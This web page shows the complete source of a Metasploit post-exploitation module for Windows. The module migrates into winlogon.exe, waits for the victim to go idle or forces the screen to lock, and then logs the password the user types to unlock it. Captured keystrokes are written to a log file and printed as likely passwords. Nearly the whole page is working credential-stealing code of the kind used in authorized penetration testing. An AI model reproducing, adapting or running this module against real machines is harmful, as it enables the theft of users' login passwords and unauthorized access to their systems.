Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/capture/lockout_keylogger.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',13'Description' => %q{14This module migrates and logs Microsoft Windows user's passwords via15Winlogon.exe using idle time and natural system changes to give a16false sense of security to the user.17},18'License' => MSF_LICENSE,19'Author' => [ 'mubix', 'cg' ],20'Platform' => ['win'],21'SessionTypes' => ['meterpreter'],22'References' => [['URL', 'http://blog.metasploit.com/2010/12/capturing-windows-logons-with.html']],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26core_migrate27stdapi_railgun_api28stdapi_sys_process_get_processes29stdapi_sys_process_getpid30stdapi_ui_get_idle_time31stdapi_ui_get_keys_utf832stdapi_ui_start_keyscan33stdapi_ui_stop_keyscan34]35}36}37)38)3940register_options(41[42OptInt.new('INTERVAL', [true, 'Time between key collection during logging', 30]),43OptInt.new('HEARTBEAT', [true, 'Heart beat between idle checks', 30]),44OptInt.new('LOCKTIME', [true, 'Amount of idle time before lockout', 300]),45OptInt.new('PID', [false, 'Target PID, only needed if multiple winlogon.exe instances exist', nil]),46OptBool.new('WAIT', [true, 'Wait for lockout instead of default method', false])47]48)49end5051def check_admin52status = client.railgun.shell32.IsUserAnAdmin()53return status['return']54end5556def get_winlogon57winlogon = []58session.sys.process.get_processes.each do |x|59if x['name'].downcase == 'winlogon.exe'60winlogon << x61end62end63if winlogon.empty?64print_status('Winlogon not found! Exiting')65return 'exit'66elsif winlogon.size == 167return winlogon[0]['pid']68else69print_error('Multiple WINLOGON processes found, run manually and specify pid')70print_error('Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session')71winlogon.each do |tp|72print_status("Winlogon.exe - PID: #{tp['pid']} - Session: #{tp['session']}")73end74return 'exit'75end76end7778# Function for starting the keylogger79def startkeylogger(session)80print_status('Starting the keystroke sniffer...')81session.ui.keyscan_start82return true83rescue StandardError84print_error('Failed to start Keylogging!')85return false86end8788# Function for Collecting Capture (pulled from Carlos Perez's Keylogrecorder)89def keycap(session, keytime, logfile)90rec = 191# Creating DB for captured keystrokes92print_status("Keystrokes being saved in to #{logfile}")93# Inserting keystrokes every number of seconds specified94print_status('Recording ')95while rec == 196# getting Keystrokes97data = session.ui.keyscan_dump98outp = ''99data.unpack('n*').each do |inp|100fl = (inp & 0xff00) >> 8101vk = (inp & 0xff)102kc = VirtualKeyCodes[vk]103104f_shift = fl & (1 << 1)105f_ctrl = fl & (1 << 2)106f_alt = fl & (1 << 3)107108if kc109name = (((f_shift != 0) && (kc.length > 1)) ? kc[1] : kc[0])110case name111when /^.$/112outp << name113when /shift|click/i114when 'Space'115outp << ' '116else117outp << " <#{name}> "118end119else120outp << ' <0x%.2x> ' % vk121end122end123select(nil, nil, nil, 2)124file_local_write(logfile, "#{outp}\n")125if !outp.nil? && (outp.chomp.lstrip != '')126print_status("Password?: #{outp}")127end128still_locked = 1129# Check to see if the screen saver is on, then check to see if they have logged back in yet.130screensaver = client.railgun.user32.SystemParametersInfoA(114, nil, 1, nil)['pvParam'].unpack('C*')[0]131if screensaver == 0132still_locked = client.railgun.user32.GetForegroundWindow()['return']133end134if still_locked == 0135print_status('They logged back in, the last password was probably right.')136raise 'win'137end138currentidle = session.ui.idle_time139if screensaver == 0140print_status("System has currently been idle for #{currentidle} seconds and the screensaver is OFF")141else142print_status("System has currently been idle for #{currentidle} seconds and the screensaver is ON")143end144select(nil, nil, nil, keytime.to_i)145end146rescue ::Exception => e147if e.message != 'win'148print_line149print_status("#{e.class} #{e}")150end151print_status('Stopping keystroke sniffer...')152session.ui.keyscan_stop153end154155def run156# Log file variables157host = session.session_host158port = session.session_port159filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create Filename info to be appended to downloaded files160logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker') # Create a directory for the logs161::FileUtils.mkdir_p(logs) # Create the log directory162logfile = logs + ::File::Separator + host + filenameinfo + '.txt' # Logfile name163164# Make sure we are on a Windows host165if client.platform != 'windows'166print_error('This module does not support this platform.')167return168end169170# Check admin status171admin = check_admin172if admin == false173print_error('Must be an admin to migrate into Winlogon.exe, exiting')174return175end176177mypid = session.sys.process.getpid178if datastore['PID'] == 0179targetpid = get_winlogon180if targetpid == 'exit'181return182end183184print_status("Found WINLOGON at PID:#{targetpid}")185else186targetpid = datastore['PID']187print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you...")188end189190if mypid == targetpid191print_status('Already in WINLOGON no need to migrate')192else193print_status("Migrating from PID:#{mypid}")194begin195session.core.migrate(targetpid)196rescue StandardError197print_error('Unable to migrate, try getsystem first')198return199end200print_good("Migrated to WINLOGON PID: #{targetpid} successfully")201end202203# Override SystemParametersInfo Railgun call to check for Screensaver204# Unfortunately 'pvParam' changes it's type for each uiAction so205# it cannot be changed in the regular railgun defs206client.railgun.add_function('user32', 'SystemParametersInfoA', 'BOOL', [207['DWORD', 'uiAction', 'in'],208['DWORD', 'uiParam', 'in'],209['PBLOB', 'pvParam', 'out'],210['DWORD', 'fWinIni', 'in']211])212213print_good("Keylogging for #{client.info}")214file_local_write(logfile, "#{client.info}\n")215if datastore['WAIT']216print_status('Waiting for user to lock out their session')217locked = false218while locked == false219if client.railgun.user32.GetForegroundWindow()['return'] != 0220locked = true221print_status('Session has been locked out')222else223# sleep(keytime.to_i) / hardsleep applied due to missing loging right after lockout.. no good way to solve this224select(nil, nil, nil, 2)225end226end227else228currentidle = session.ui.idle_time229print_status("System has currently been idle for #{currentidle} seconds")230while currentidle <= datastore['LOCKTIME']231print_status("Current Idle time: #{currentidle} seconds")232select(nil, nil, nil, datastore['HEARTBEAT'])233currentidle = session.ui.idle_time234end235client.railgun.user32.LockWorkStation()236if client.railgun.user32.GetForegroundWindow()['return'] == 0237print_error('Locking the workstation falied, trying again..')238client.railgun.user32.LockWorkStation()239if client.railgun.user32.GetForegroundWindow()['return'] == 0240print_error('The system will not lock this session, nor will it be used for user login, exiting...')241return242else243print_status('Locked this time, time to start keyloggin...')244end245end246end247248if startkeylogger(session)249keycap(session, datastore['INTERVAL'], logfile)250end251end252end253254255